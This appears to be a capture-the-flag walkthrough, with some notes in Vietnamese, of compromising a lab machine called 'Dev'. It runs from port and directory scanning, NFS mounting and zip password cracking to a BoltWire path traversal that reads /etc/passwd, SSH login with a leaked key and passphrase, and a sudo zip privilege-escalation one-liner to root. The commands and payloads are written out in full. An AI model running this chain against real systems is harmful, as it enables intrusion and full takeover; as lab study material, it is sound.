Dev

Tuesday, August 2, 2022

11:00 PM

nmap -A -p- -T4 192.168.1.9

Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-08-02 05:25 EDT

Nmap scan report for 192.168.1.9

Host is up (0.00063s latency).

Not shown: 65526 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

| ssh-hostkey:

| 2048 bd:96:ec:08:2f:b1:ea:06:ca:fc:46:8a:7e:8a:e3:55 (RSA)

| 256 56:32:3b:9f:48:2d:e0:7e:1b:df:20:f8:03:60:56:5e (ECDSA)

|\_ 256 95:dd:20:ee:6f:01:b6:e1:43:2e:3c:f4:38:03:5b:36 (ED25519)

80/tcp open http Apache httpd 2.4.38 ((Debian))

|\_http-server-header: Apache/2.4.38 (Debian)

|\_http-title: Bolt - Installation error

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100000 3,4 111/tcp6 rpcbind

| 100000 3,4 111/udp6 rpcbind

| 100003 3 2049/udp nfs

| 100003 3 2049/udp6 nfs

| 100003 3,4 2049/tcp nfs

| 100003 3,4 2049/tcp6 nfs

| 100005 1,2,3 44395/tcp mountd

| 100005 1,2,3 44467/udp mountd

| 100005 1,2,3 50603/udp6 mountd

| 100005 1,2,3 50615/tcp6 mountd

| 100021 1,3,4 33353/tcp nlockmgr

| 100021 1,3,4 34439/udp6 nlockmgr

| 100021 1,3,4 41307/tcp6 nlockmgr

| 100021 1,3,4 60353/udp nlockmgr

| 100227 3 2049/tcp nfs\_acl

| 100227 3 2049/tcp6 nfs\_acl

| 100227 3 2049/udp nfs\_acl

|\_ 100227 3 2049/udp6 nfs\_acl

2049/tcp open nfs\_acl 3 (RPC #100227)

8080/tcp open http Apache httpd 2.4.38 ((Debian))

|\_http-server-header: Apache/2.4.38 (Debian)

| http-open-proxy: Potentially OPEN proxy.

|\_Methods supported:CONNECTION

|\_http-title: PHP 7.3.27-1~deb10u1 - phpinfo()

33353/tcp open nlockmgr 1-4 (RPC #100021)

34621/tcp open mountd 1-3 (RPC #100005)

44395/tcp open mountd 1-3 (RPC #100005)

47567/tcp open mountd 1-3 (RPC #100005)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u <http://192.168.1.9/FUZZ>

public [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 1ms]

# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 3833, Words: 926, Lines: 108, Duration: 204ms]

# This work is licensed under the Creative Commons [Status: 200, Size: 3833, Words: 926, Lines: 108, Duration: 216ms]

# Copyright 2007 James Fisher [Status: 200, Size: 3833, Words: 926, Lines: 108, Duration: 245ms]

src [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 1ms]

app [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 1ms]

# [Status: 200, Size: 3833, Words: 926, Lines: 108, Duration: 452ms]

# directory-list-2.3-medium.txt [Status: 200, Size: 3833, Words: 926, Lines: 108, Duration: 466ms]

vendor [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 1ms]

extensions [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 2ms]

ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u <http://192.168.1.9:8080/FUZZ>

dev [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 3ms]

ENUM NFS

$ showmount -e 192.168.1.9

Export list for 192.168.1.9:

/srv/nfs 172.16.0.0/12,10.0.0.0/8,192.168.0.0/16

$ sudo mount -t nfs 192.168.1.9:/srv/nfs /mnt/dev

we have save.zip in nfs

zip2john save.zip > save.hashes

$ john save.hashes

Using default input encoding: UTF-8

Loaded 1 password hash (PKZIP [32/64])

Will run 3 OpenMP threads

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, almost any other key for status

Almost done: Processing the remaining buffered candidate passwords, if any.

Proceeding with wordlist:/usr/share/john/password.lst

Proceeding with incremental:ASCII

java101 (save.zip)

1g 0:00:00:06 DONE 3/3 (2022-08-02 05:45) 0.1661g/s 5571Kp/s 5571Kc/s 5571KC/s bbs0048..javona1

Use the "--show" option to display all of the cracked passwords reliably

Session completed.

unzip save.zip

Archive: save.zip

[save.zip] id\_rsa password:

skipping: id\_rsa incorrect password

skipping: todo.txt incorrect password

download file config.yaml

<http://192.168.1.9/app/config/>

database:

driver: sqlite

databasename: bolt

username: bolt

password: I\_love\_java

signup account in <http://192.168.1.9:8080/dev> and add payload index.php?p=action.search&action=../../../../../../../etc/passwd to exploit boltwire ( refer exploitdb )

<http://192.168.1.9:8080/dev/index.php?p=action.search&action=../../../../../../../etc/passwd>

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

<news:x:9:9:news:/var/spool/news:/usr/sbin/nologin>

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

\_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin

systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin

systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin

messagebus:x:104:110::/nonexistent:/usr/sbin/nologin

sshd:x:105:65534::/run/sshd:/usr/sbin/nologin

jeanpaul:x:1000:1000:jeanpaul,,,:/home/jeanpaul:/bin/bash

systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false

\_rpc:x:107:65534::/run/rpcbind:/usr/sbin/nologin

statd:x:108:65534::/var/lib/nfs:/usr/sbin/nologin

Ở đây có tài khoản jeanpaul có điểm tương đồng với jp trong file kiếm được, thử ssh lại

ssh -i id\_rsa jeanpaul@192.168.1.9

Enter passphrase for key 'id\_rsa':

thử passphrase I\_love\_java trong file conf

jeanpaul@dev:~$ sudo -l

Matching Defaults entries for jeanpaul on dev:

env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jeanpaul may run the following commands on dev:

(root) NOPASSWD: /usr/bin/zip

ở đây chúng ta có zip, chúng ta vào trang <https://gtfobins.github.io/gtfobins/zip/> phần sudo để leo thang

jeanpaul@dev:~$ TF=$(mktemp -u)

jeanpaul@dev:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'

adding: etc/hosts (deflated 31%)

# whoami

root

# cd root

# ls

flag.txt

# cat flag.txt

Congratz on rooting this box !